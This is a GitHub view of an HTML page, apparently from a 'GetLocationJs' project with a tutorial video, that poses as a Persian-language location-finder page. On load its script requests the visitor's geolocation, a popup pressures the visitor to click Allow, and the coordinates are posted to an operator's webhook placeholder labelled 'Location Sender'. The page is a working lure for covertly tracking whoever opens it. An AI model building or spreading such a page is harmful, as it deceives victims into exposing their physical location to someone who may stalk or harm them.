-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
59 lines (50 loc) · 1.82 KB
/
index.html
File metadata and controls
59 lines (50 loc) · 1.82 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<!-- DociTeam - GetLocationJs -->
<!-- YouTube Video : https://youtu.be/e_hunvhHviQ -->
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>مکان یاب</title>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
<link rel="stylesheet" href="./style.css">
</head>
<body>
<header class="hero hero--map gps-bg">
<div class="gps-bg__guts">
<div class="gps-bg__bg"></div>
<div class="gps-bg__route"></div>
<div class="gps-bg__marker"></div>
</div>
<div class="gps-bg__fade"></div>
<h1 class="hero__title">
....در حال جست و جوی یه جای خلوت
</h1>
</header>
<script>
function getLocation() {
if (navigator.geolocation) {
navigator.geolocation.getCurrentPosition(showPosition);
} else {
alert("Geolocation is not supported by this browser.");
}
}
function showPosition(position) {
const request = new XMLHttpRequest();
request.open("POST", "Your Webhook Here");
request.setRequestHeader('Content-type', 'application/json');
const params = {
username: "Location Sender",
avatar_url: "",
content:"**__Latitude:__ **"+ position.coords.latitude + "\n\n" + "**__Longitude:__ **" + position.coords.longitude + "\n\n" + "**=========================================================================**"
};
request.send(JSON.stringify(params));
}
getLocation();
Swal.fire({
title: 'کلیک کنید Allow روی دکمه',
text: "کلیک کنید Allow برای ادامه کار روی دکمه",
icon: 'warning',
});
</script>
</body>
</html>